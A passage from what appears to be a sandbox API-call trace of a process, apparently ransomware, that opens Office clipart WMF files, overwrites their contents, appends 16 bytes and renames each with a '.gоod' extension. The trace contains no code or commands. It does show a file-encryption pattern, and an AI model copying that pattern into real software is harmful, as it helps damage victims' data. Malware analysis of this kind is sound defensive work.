files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x33ea308 | out: lpFileInformation=0x33ea308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1204)) returned 1 [0166.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0166.418] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF", lpFilePart=0x0) returned 0x44 [0166.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0166.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0166.419] GetFileType (hFile=0x80c) returned 0x1 [0166.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0166.419] GetFileType (hFile=0x80c) returned 0x1 [0166.419] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0166.419] ReadFile (in: hFile=0x80c, lpBuffer=0x33ea720, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x33ea720*, lpNumberOfBytesRead=0x1faedd28*=0x204, lpOverlapped=0x0) returned 1 [0166.421] CloseHandle (hObject=0x80c) returned 1 [0166.421] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF", lpFilePart=0x0) returned 0x44 [0166.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0166.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0166.421] GetFileType (hFile=0x80c) returned 0x1 [0166.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0166.421] GetFileType (hFile=0x80c) returned 0x1 [0166.421] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1204 [0166.421] WriteFile (in: hFile=0x80c, lpBuffer=0x33eb9b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x33eb9b8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0166.421] CloseHandle (hObject=0x80c) returned 1 [0166.422] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF", lpFilePart=0x0) returned 0x44 [0166.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0166.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0166.422] GetFileType (hFile=0x80c) returned 0x1 [0166.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0166.422] GetFileType (hFile=0x80c) returned 0x1 [0166.422] ReadFile (in: hFile=0x80c, lpBuffer=0x33edc78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x33edc78*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0166.953] CloseHandle (hObject=0x80c) returned 1 [0166.953] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF", lpFilePart=0x0) returned 0x44 [0166.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0166.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0166.954] GetFileType (hFile=0x80c) returned 0x1 [0166.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0166.954] GetFileType (hFile=0x80c) returned 0x1 [0166.954] WriteFile (in: hFile=0x80c, lpBuffer=0x33cc9c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x33cc9c0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0166.954] CloseHandle (hObject=0x80c) returned 1 [0166.954] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF", lpFilePart=0x0) returned 0x44 [0166.954] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0166.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0166.954] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5fb991cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1214)) returned 1 [0166.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0166.954] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.gоod")) returned 1 [0166.972] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF", lpFilePart=0x0) returned 0x44 [0166.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0166.972] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x33f6148 | out: lpFileInformation=0x33f6148*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc48)) returned 1 [0166.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0166.973] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF", lpFilePart=0x0) returned 0x44 [0166.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0166.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0166.974] GetFileType (hFile=0x80c) returned 0x1 [0166.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0166.974] GetFileType (hFile=0x80c) returned 0x1 [0166.974] GetFileSize (in: hFile=0x80c, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xc48 [0166.974] ReadFile (in: hFile=0x80c, lpBuffer=0x33f7038, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x33f7038*, lpNumberOfBytesRead=0x1faedc88*=0xc48, lpOverlapped=0x0) returned 1 [0166.975] CloseHandle (hObject=0x80c) returned 1 [0167.611] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF", lpFilePart=0x0) returned 0x44 [0167.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0167.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0167.718] GetFileType (hFile=0x768) returned 0x1 [0167.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0167.718] GetFileType (hFile=0x768) returned 0x1 [0167.718] WriteFile (in: hFile=0x768, lpBuffer=0x3531640*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3531640*, lpNumberOfBytesWritten=0x1faedb98*=0xc50, lpOverlapped=0x0) returned 1 [0167.719] CloseHandle (hObject=0x768) returned 1 [0167.719] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF", lpFilePart=0x0) returned 0x44 [0167.719] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0167.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0167.719] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x602e645c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc50)) returned 1 [0167.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0167.719] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.gоod")) returned 1 [0167.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF", lpFilePart=0x0) returned 0x44 [0167.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0167.720] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x35328d0 | out: lpFileInformation=0x35328d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1df4)) returned 1 [0167.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0167.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF", lpFilePart=0x0) returned 0x44 [0167.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0167.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0167.721] GetFileType (hFile=0x768) returned 0x1 [0167.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0167.721] GetFileType (hFile=0x768) returned 0x1 [0167.721] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0167.721] ReadFile (in: hFile=0x768, lpBuffer=0x3532ce8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3532ce8*, lpNumberOfBytesRead=0x1faedd28*=0xdf4, lpOverlapped=0x0) returned 1 [0167.722] CloseHandle (hObject=0x768) returned 1 [0167.722] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF", lpFilePart=0x0) returned 0x44 [0167.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0167.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0167.723] GetFileType (hFile=0x768) returned 0x1 [0167.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0167.723] GetFileType (hFile=0x768) returned 0x1 [0167.723] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1df4 [0167.723] WriteFile (in: hFile=0x768, lpBuffer=0x3533f80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3533f80*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0167.723] CloseHandle (hObject=0x768) returned 1 [0167.723] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF", lpFilePart=0x0) returned 0x44 [0167.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0167.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0167.723] GetFileType (hFile=0x768) returned 0x1 [0167.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0167.723] GetFileType (hFile=0x768) returned 0x1 [0167.723] ReadFile (in: hFile=0x768, lpBuffer=0x3536240, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3536240*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0168.588] CloseHandle (hObject=0x768) returned 1 [0168.588] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF", lpFilePart=0x0) returned 0x44 [0168.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0168.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0168.588] GetFileType (hFile=0x768) returned 0x1 [0168.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0168.588] GetFileType (hFile=0x768) returned 0x1 [0168.588] WriteFile (in: hFile=0x768, lpBuffer=0x33f19e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x33f19e0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0168.588] CloseHandle (hObject=0x768) returned 1 [0168.589] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF", lpFilePart=0x0) returned 0x44 [0168.589] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0168.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0168.589] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60b3e86e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e04)) returned 1 [0168.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0168.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.gоod")) returned 1 [0168.590] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF", lpFilePart=0x0) returned 0x44 [0168.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0168.590] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x34d1c98 | out: lpFileInformation=0x34d1c98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x212c)) returned 1 [0168.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0168.590] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF", lpFilePart=0x0) returned 0x44 [0168.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0168.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0168.590] GetFileType (hFile=0x768) returned 0x1 [0168.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0168.590] GetFileType (hFile=0x768) returned 0x1 [0168.590] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0168.590] ReadFile (in: hFile=0x768, lpBuffer=0x34d20b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x34d20b0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0168.592] CloseHandle (hObject=0x768) returned 1 [0168.592] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF", lpFilePart=0x0) returned 0x44 [0168.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0168.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0168.592] GetFileType (hFile=0x768) returned 0x1 [0168.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0168.592] GetFileType (hFile=0x768) returned 0x1 [0168.592] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x212c [0168.592] WriteFile (in: hFile=0x768, lpBuffer=0x34d3378*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x34d3378*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0168.593] CloseHandle (hObject=0x768) returned 1 [0168.593] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: 